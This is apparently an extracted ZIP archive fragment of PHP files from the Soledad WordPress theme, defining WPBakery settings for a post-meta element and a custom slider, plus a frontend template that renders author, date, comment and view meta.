		'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
		'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
		'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

	],
	'meta-link-color'                  => [
		'{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}'
	],
	'meta-link-hcolor'                 => [
		'{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}'
	],
	'penci_single_meta_mt_bg_color'                 => [
		'{{WRAPPER}} .post-box-meta-single' => 'background-color:{{VALUE}}'
	],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\PT   T   6  inc/js_composer/shortcodes/pc_single_meta/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_meta",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_meta/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Meta', 'soledad' ),
	'description'   => 'Post Builder - Meta',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Meta Label Text', 'soledad' ),
			'param_name'       => 'hide_meta_label',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Justify Align?', 'soledad' ),
			'param_name'       => 'justify_align',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Divider Character', 'soledad' ),
			'param_name'       => 'remove-divider',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Spacing Between Meta', 'soledad' ),
			'param_name'       => 'meta-item-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author', 'soledad' ),
			'param_name'       => 'penci_single_meta_author',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author Avatar', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Borders Radius', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_br',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Spacing', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_sp',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Width', 'soledad' ),
			'param_name'       => 'penci_avatar_w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'param_name'       => 'penci_single_meta_ava_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date', 'soledad' ),
			'param_name'       => 'penci_single_meta_date',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_date_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View', 'soledad' ),
			'param_name'       => 'penci_single_show_cview',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_view_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time', 'soledad' ),
			'param_name'       => 'penci_single_hreadtime',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_reading_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Icon Style', 'soledad' ),
			'param_name'       => 'meta_icon_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Border Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bd_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Text Color', 'soledad' ),
			'param_name'       => 'meta-author-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Color', 'soledad' ),
			'param_name'       => 'meta-author-lcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Hover Color', 'soledad' ),
			'param_name'       => 'meta-author-hcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'meta-pdate-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Comment Color', 'soledad' ),
			'param_name'       => 'meta-pcomment-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post View Color', 'soledad' ),
			'param_name'       => 'meta-pview-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Reading Color', 'soledad' ),
			'param_name'       => 'meta-preading-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\)6Y    6  inc/js_composer/shortcodes/pc_single_meta/frontend.phpnu [        <?php
$settings      = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class     = vc_shortcode_custom_css_class( $settings['css'] );
$block_id      = Penci_Vc_Helper::get_unique_id_block( 'pc_single_meta' );
$css_custom    = '';
$hide_readtime = $settings['penci_single_hreadtime'];
$avatar        = $settings['penci_single_author_avatar'];
$avatarw       = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
$icon_style    = $settings['meta_icon_style'];
$label_text    = $settings['hide_meta_label'];
global $post;
?>
    <div id="<?php echo $block_id; ?>"
         class="post-box-meta-single style-<?php echo esc_attr( $icon_style . ' ' . $css_class ); ?>">
		<?php if ( ! $settings['penci_single_meta_author'] ) :
			?>
            <span class="author-post byline">
                    <span class="author vcard">
	                    <?php if ( ! $label_text ) {
		                    echo penci_get_setting( 'penci_trans_written_by' );
	                    } ?>
	                    <?php
	                    $author_ids = [];
	                    $author     = get_post_field( 'post_author', get_the_ID() );
	                    if ( $author ) {
		                    $author_ids[] = $author;
	                    }
	                    if ( function_exists( 'coauthors__echo' ) ) {
		                    $author_list = coauthors__echo( 'ID', 'field', array(
			                    'between'     => ',',
			                    'betweenLast' => ',',
			                    'before'      => '',
			                    'after'       => '',
		                    ), null, false );
		                    if ( $author_list ) {
			                    $author_ids = explode( ',', $author_list );
		                    }
	                    }
	                    $total   = count( $author_ids );
	                    $current = 0;
	                    foreach ( $author_ids as $author_id ) {
		                    $current ++;
		                    ?>

                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id );
                                                ?>
                                            </a>
	                    <?php } ?>
                    </span>
                </span>
		<?php endif; ?>
	    <?php penci_author_update_name(); ?>
		<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
            <span class="pctmp-date-post">
				<?php penci_soledad_time_link( 'single' ); ?></span>
		<?php endif; ?>
		<?php if ( ! $settings['penci_single_meta_comment'] ) :
			?>
            <span class="pctmp-comment-post">
            <?php
            $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
            $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
            ?>
            <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
		<?php endif; ?>
		<?php if ( ! $settings['penci_single_show_cview'] ) : ?>
            <span class="pctmp-view-post">
                <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
				} ?></span>
		<?php endif; ?>
		<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
			?>
            <span class="single-readtime">
            <?php penci_reading_time(); ?></span>
		<?php endif; ?>
    </div>
<?php
$css = [
	'meta-color'                       => [
		'{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}'
	],
	'penci_single_meta_gnr_icon_color' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ],
	'penci_single_meta_gnr_bg_color'   => [
		'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
		'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
		'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

	],
	'meta-link-color'                  => [
		'{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}'
	],
	'meta-link-hcolor'                 => [
		'{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}'
	],
	'meta-author-color'                => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
	'meta-author-lcolor'               => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
	'meta-author-hcolor'               => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
	'meta-pdate-color'                 => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
	'meta-pcomment-color'              => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
	'meta-pview-color'                 => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
	'meta-preading-color'              => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\X]  ]  6  inc/js_composer/shortcodes/custom_sliders/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group       = 'Slider settings';
vc_map( array(
	'base'          => 'penci_custom_sliders',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/custom_sliders/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Custom Slider', 'soledad' ),
	'description'   => __( 'Custom Slider Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( Penci_Vc_Params_Helper::params_container_width(), array(
		array(
			'type'       => 'param_group',
			'heading'    => 'Slider',
			'param_name' => 'penci_slides',
			'value'      => urlencode( json_encode( array(
				array(
					'heading'             => __( 'Slide 1 Heading', 'soledad' ),
					'description'         => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
					'button_text'         => __( 'Click Here', 'soledad' ),
					'button_text2'        => __( 'Click Here', 'soledad' ),
					'background_color'    => '#833ca3',
					'content_color'       => '#fff',
					'text_align'          => 'center',
					'horizontal_position' => 'middle',
					'vertical_position'   => 'center',
				),
				array(
					'heading'             => __( 'Slide 2 Heading', 'soledad' ),
					'description'         => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
					'button_text'         => __( 'Click Here', 'soledad' ),
					'button_text2'        => __( 'Click Here', 'soledad' ),
					'background_color'    => '#4054b2',
					'content_color'       => '#fff',
					'text_align'          => 'center',
					'horizontal_position' => 'middle',
					'vertical_position'   => 'center',
				),
				array(
					'heading'             => __( 'Slide 3 Heading', 'soledad' ),
					'description'         => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
					'button_text'         => __( 'Click Here', 'soledad' ),
					'button_text2'        => __( 'Click Here', 'soledad' ),
					'background_color'    => '#1abc9c',
					'content_color'       => '#fff',
					'text_align'          => 'center',
					'horizontal_position' => 'middle',
					'vertical_position'   => 'center',
				)
			) ) ),
			'params'     => array(
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Title', 'soledad' ),
					'param_name'  => 'heading',
					'admin_label' => true
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Description', 'soledad' ),
					'param_name' => 'description',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Text 1', 'soledad' ),
					'param_name' => 'button_text',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Link 1', 'soledad' ),
					'param_name' => 'button_link',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Text 2', 'soledad' ),
					'param_name' => 'button_text2',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Button Link 2', 'soledad' ),
					'param_name' => 'button_link2',
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Image Url', 'soledad' ),
					'param_name' => 'url_feat_img',
				),
				array(
					'type'       => 'colorpicker',
					'heading'    => esc_html__( 'Content Color', 'soledad' ),
					'param_name' => 'content_color',
				),
				array(
					'type'       => 'colorpicker',
					'heading'    => esc_html__( 'Background Color', 'soledad' ),
					'param_name' => 'background_color',
				),
				array(
					'type'       => 'attach_image',
					'heading'    => esc_html__( 'Background Image', 'soledad' ),
					'param_name' => 'background_image',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Horizontal Position', 'soledad' ),
					'param_name' => 'horizontal_position',
					'std'        => 'center',
					'value'      => array(
						__( 'Center', 'soledad' ) => 'center',
						__( 'Left', 'soledad' )   => 'left',
						__( 'Right', 'soledad' )  => 'right',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Vertical Position', 'soledad' ),
					'param_name' => 'vertical_position',
					'std'        => 'center',
					'value'      => array(
						__( 'Middle', 'soledad' ) => 'middle',
						__( 'Top', 'soledad' )    => 'top',
						__( 'Bottom', 'soledad' ) => 'bottom',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Text Align', 'soledad' ),
					'param_name' => 'text_align',
					'std'        => 'center',
					'value'      => array(
						__( 'Center', 'soledad' ) => 'center',
						__( 'Left', 'soledad' )   => 'left',
						__( 'Right', 'soledad' )  => 'right',
					),
				),

				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Enable Overlay Background Color', 'soledad' ),
					'param_name' => 'bg_item_overlay',
					'std'        => '',
					'value'      => array(
						__( 'Default', 'soledad' ) => '',
						__( 'Yes', 'soledad' )     => 'yes',
						__( 'No', 'soledad' )      => 'no',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Overlay Background Opacity', 'soledad' ),
					'param_name' => 'bgoverlay_opacity',
					'value'      => array(
						'Default' => '',
						'0'       => '0',
						'0.05'    => '0.05',
						'0.1'     => '0.1',
						'0.15'    => '0.15',
						'0.2'     => '0.2',
						'0.25'    => '0.25',
						'0.3'     => '0.3',
						'0.35'    => '0.35',
						'0.4'     => '0.4',
						'0.45'    => '0.45',
						'0.5'     => '0.5',
						'0.55'    => '0.55',
						'0.6'     => '0.6',
						'0.65'    => '0.65',
						'0.7'     => '0.7',
						'0.75'    => '0.75',
						'0.8'     => '0.8',
						'0.85'    => '0.85',
						'0.9'     => '0.9',
						'0.95'    => '0.95',
						'1'       => '1',
					)
				),
				array(
					'type'       => 'colorpicker',
					'heading'    => esc_html__( 'Overlay Background Color', 'soledad' ),
					'param_name' => 'bgoverlay_color',
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'bgoverlay_padding',
					'heading'    => __( 'Overlay Background Padding', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
			)
		),

		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Slides Height', 'soledad' ),
			'param_name'       => 'slides_height',
			'value'            => '',
			'std'              => '',
			'min'              => 0,
			'max'              => 1000,
			'suffix'           => 'px',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Ratio Height/Width .Unit is %. E.g: 50', 'soledad' ),
			'param_name'       => 'slides_img_ratio',
			'value'            => '',
			'std'              => '',
			'min'              => 0,
			'max'              => 100,
			'suffix'           => '%',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'content_max_width',
			'heading'          => __( 'Content Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingl',
			'heading'          => __( 'Content Padding Left', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingr',
			'heading'          => __( 'Content Padding Right', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingt',
			'heading'          => __( 'Content Padding Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'slides_paddingb',
			'heading'          => __( 'Content Padding Bottom', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Slider
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'  => 'autoplay',
			'value'       => 'no',
			'group'       => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Slider Loop', 'soledad' ),
			'param_name' => 'loop',
			'value'       => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'auto_time',
			'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'value'      => 4000,
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'speed',
			'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
			'value'      => 800,
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name' => 'shownav',
			'value'       => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name' => 'showdots',
			'value'       => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Content Animation', 'soledad' ),
			'param_name' => 'content_animation',
			'std'        => 'fadeInUp',
			'group'      => $group,
			'value'      => array(
				__( 'None', 'soledad' )          => '',
				__( 'Fade In Up', 'soledad' )    => 'fadeInUp',
				__( 'Fade In Down', 'soledad' )  => 'fadeInDown',
				__( 'Fade In Left', 'soledad' )  => 'fadeInLeft',
				__( 'Fade In Right', 'soledad' ) => 'fadeInRight'
			),
		),

		// Custom css
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_style1_settings',
			'heading'          => esc_html__( 'Text', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'heading_spacing',
			'heading'    => __( 'Margin bottom', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'heading_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'heading_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'heading_typography',
			'value'      => '',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Enable Overlay Background Color', 'soledad' ),
			'param_name' => 'heading_overlay',
			'value'       => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Overlay Background Opacity', 'penci-framework' ),
			'param_name' => 'heading_bgoverlay_opacity',
			'value'      => array(
				'0'    => '0',
				'0.05' => '0.05',
				'0.1'  => '0.1',
				'0.15' => '0.15',
				'0.2'  => '0.2',
				'0.25' => '0.25',
				'0.3'  => '0.3',
				'0.35' => '0.35',
				'0.4'  => '0.4',
				'0.45' => '0.45',
				'0.5'  => '0.5',
				'0.55' => '0.55',
				'0.6'  => '0.6',
				'0.65' => '0.65',
				'0.7'  => '0.7',
				'0.75' => '0.75',
				'0.8'  => '0.8',
				'0.85' => '0.85',
				'0.9'  => '0.9',
				'0.95' => '0.95',
				'1'    => '1',
			),
			'std'        => '0.4',
			'group'      => $group_color
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Overlay Background Color', 'soledad' ),
			'param_name' => 'heading_bgoverlay_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'heading_bgoverlay_padding',
			'heading'    => __( 'Overlay Background Padding', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'section_style_description',
			'heading'          => esc_html__( 'Description', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_spacing',
			'heading'    => __( 'Margin bottom', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color', 'soledad' ),
			'param_name'       => 'desc_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'desc_typo',
			'value'      => '',
		),

		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Enable Overlay Background Color', 'soledad' ),
			'param_name' => 'description_overlay',
			'value'       => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Overlay Background Opacity', 'penci-framework' ),
			'param_name' => 'desc_bgoverlay_opacity',
			'value'      => array(
				'0'    => '0',
				'0.05' => '0.05',
				'0.1'  => '0.1',
				'0.15' => '0.15',
				'0.2'  => '0.2',
				'0.25' => '0.25',
				'0.3'  => '0.3',
				'0.35' => '0.35',
				'0.4'  => '0.4',
				'0.45' => '0.45',
				'0.5'  => '0.5',
				'0.55' => '0.55',
				'0.6'  => '0.6',
				'0.65' => '0.65',
				'0.7'  => '0.7',
				'0.75' => '0.75',
				'0.8'  => '0.8',
				'0.85' => '0.85',
				'0.9'  => '0.9',
				'0.95' => '0.95',
				'1'    => '1',
			),
			'std'        => '0.4',
			'group'      => $group_color
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Overlay Background Color', 'soledad' ),
			'param_name' => 'desc_bgoverlay_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_bgoverlay_padding',
			'heading'    => __( 'Overlay Background Padding', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		// Button 1
		array(
			'type'             => 'textfield',
			'param_name'       => 'section_style_btn1',
			'heading'          => esc_html__( 'Button 1', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_width',
			'heading'          => __( 'Button Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_height',
			'heading'          => __( 'Button Height', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_border_width',
			'heading'          => __( 'Border Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_border_radius',
			'heading'          => __( 'Border Radius', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button1_size',
			'heading'          => __( 'Font Size', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'button1_typo',
			'value'      => '',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
			'param_name'       => 'button1_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Color', 'soledad' ),
			'param_name'       => 'button1_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Color', 'soledad' ),
			'param_name'       => 'button1_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
